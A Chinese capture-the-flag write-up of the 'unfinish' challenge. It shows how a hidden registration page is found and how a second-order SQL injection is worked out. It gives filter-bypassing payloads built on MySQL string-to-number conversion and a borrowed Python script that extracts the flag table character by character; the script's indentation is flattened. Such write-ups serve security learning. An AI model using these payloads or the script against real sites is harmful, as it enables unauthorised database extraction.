攻防世界——unfinish
文章摘要: 该渗透测试过程发现了靶机系统的SQL二次注入漏洞。测试者首先发现隐藏的注册页面,通过分析注册和登录流程,识别出存在存储型SQL注入风险。由于系统过滤了单引号和逗号,采用手工注入方式,利用MySQL字符串转数字特性构造特殊payload(0'+ascii(substr((select*fromflag)from1for1))+'0),通过从数据库逐步提取字符的ASCII码值来获取flag
打开靶机直接就是登录界面
但怎么没有注册界面?

尝试用admin账号登录
发现邮箱必须要加后缀,不能直接填admin,随便加一个也不行

这里我猜测应该会存在一个注册界面,只是这里没显示而已
用dirsearch扫描
果然存在一个注册界面(register.php)

访问register.php并随便注册一个账号

然后拿刚刚注册的账号登录

发现除了主页什么东西都没有

把注册时的包抓出来看看
发现注册的时候后台会提交三个参数(email,username和password)

再结合登录时会在页面中显示用户名(username)
猜测这里存在SQL二次注入
二次注入(Second-Order SQL Injection):
攻击者第一次输入恶意 SQL 代码时,后台没有直接执行,而是将其 “原样存储” 到数据库(比如用户名、评论、个人资料等字段);之后当这个存储的恶意代码被后台程序再次调用、拼接进 SQL 语句执行时,才触发注入攻击。
简单说:第一次 “藏毒”(存储恶意代码),第二次 “触发毒发”(执行恶意代码),区别于 “输入后立即执行” 的普通一次注入。
在注入前我们先fuzz测试一下有什么被过滤了
把刚抓的注册包丢进intruder模块

发现过滤了单引号和逗号
过滤太严重了,大概率用不了sqlmap了

那就手工进行SQL注入
这里我猜测后台的语句是
insert into tables values('$email','$username','$password')
我们可以使用0’+1+'0作为用户名
举个例子
SQL 语句 执行结果 核心目的 select '1'+'1a'; 2 验证隐式转换规则:字符串转数字后运算 select '0'+database(); 0 证明直接用数据库函数返回字符串,转数字为 0,无法获取信息 select '0'+ascii(substr(database(),1,1)); 100 用 ascii () 取数据库名第 1 个字符编码,转数字后可被获取 select '0'+ascii(substr(database() from 1 for 1)); 100 用 from...for... 绕过逗号过滤,实现同样截取效果 select hex('dvwa'); 64767761 将字符串转为十六进制(避免特殊字符拦截),64 是 'd'、76 是 'v' select hex(hex('flag{}'))+'0'; 3.636e23 双重 hex 后转数字会变成科学计数(实际注入中不会这么用,仅展示转换特性) MySQL 在遇到字符串和数字运算(如 +、-)时,会自动将字符串转为数字:
字符串以数字开头:取开头连续数字部分作为转换结果(比如 '1a' 转 1、'234abc' 转 234)。
字符串不以数字开头:直接转为 0(比如 'dvwa'、'database ()' 都转 0)。
这就是为什么 '1'+'1a'=2(两个字符串都转 1,相加得 2),而 '0'+database ()=0(database () 返回数据库名字符串,转 0 后加 0 仍为 0)。
利用这个特性,我们可以构造payload:
0’+ascii(substr((select * from flag),1,1))+‘0
or
0’+ascii(substr((select * from flag) from 1 for 1))+'0。
这样我们就可以得到flag表查询结果的第一个字符的ascii码,但是之前FUZZ时已经发现逗号被过滤,但from * for *的效果和*,*是一样的,所以我们的最终传入的payload为
0’+ascii(substr((select * from flag) from 1 for 1))+'0
substr(目标字符串, 起始位置, 截取长度)
举个例子
database() 函数返回的数据库名是 dvwa(这是文章中隐含的场景):
substr('dvwa', 1, 1) → 从第 1 个字符开始,取 1 个字符 → 结果是 'd';
再用 ascii('d') 转换,就得到 100(这就是之前语句返回 100 的原因)。
from 起始位置 for 截取长度
本质是换了一种参数写法,但两个 1 的含义完全没变:还是 “从第 1 个字符开始,取 1 个字符”。
整个的SQL注入的流程如下
在注册页面中用户名填写注入 payload:0’+ascii(substr(database() from 1 for 1))+'0。
后台拼接 SQL:insert into tables values('攻击者邮箱','0'+ascii(...)+'0','攻击者密码')。
SQL 执行时,0+ascii(...)运算得到数字(比如 100),最终用户名被插入为 100。
攻击者查看注册成功后的用户名(100),反推出 ascii 码 100 对应字符 'd',再依次修改 from 后的数字(2、3、4...),逐步获取完整数据库名(比如 100→'d'、118→'v'、119→'w'、97→'a',即 dvwa)。
因为一个个盲注效率太低了,这里直接借用大佬的脚本
import requests
import re
register_url = '/register.php'
login_url = '/login.php'
for i in range(1, 100):
register_data = {
'email': '111@123.com%d' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': 'admin'
}
res = requests.post(url=register_url, data=register_data)
login_data = {'email': '111@123.com%d' % i,'password': 'admin'}
res_ = requests.post(url=login_url, data=login_data)
code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
print(chr(int(code.group(1))), end='')
flag就出来了

更多推荐



所有评论(0)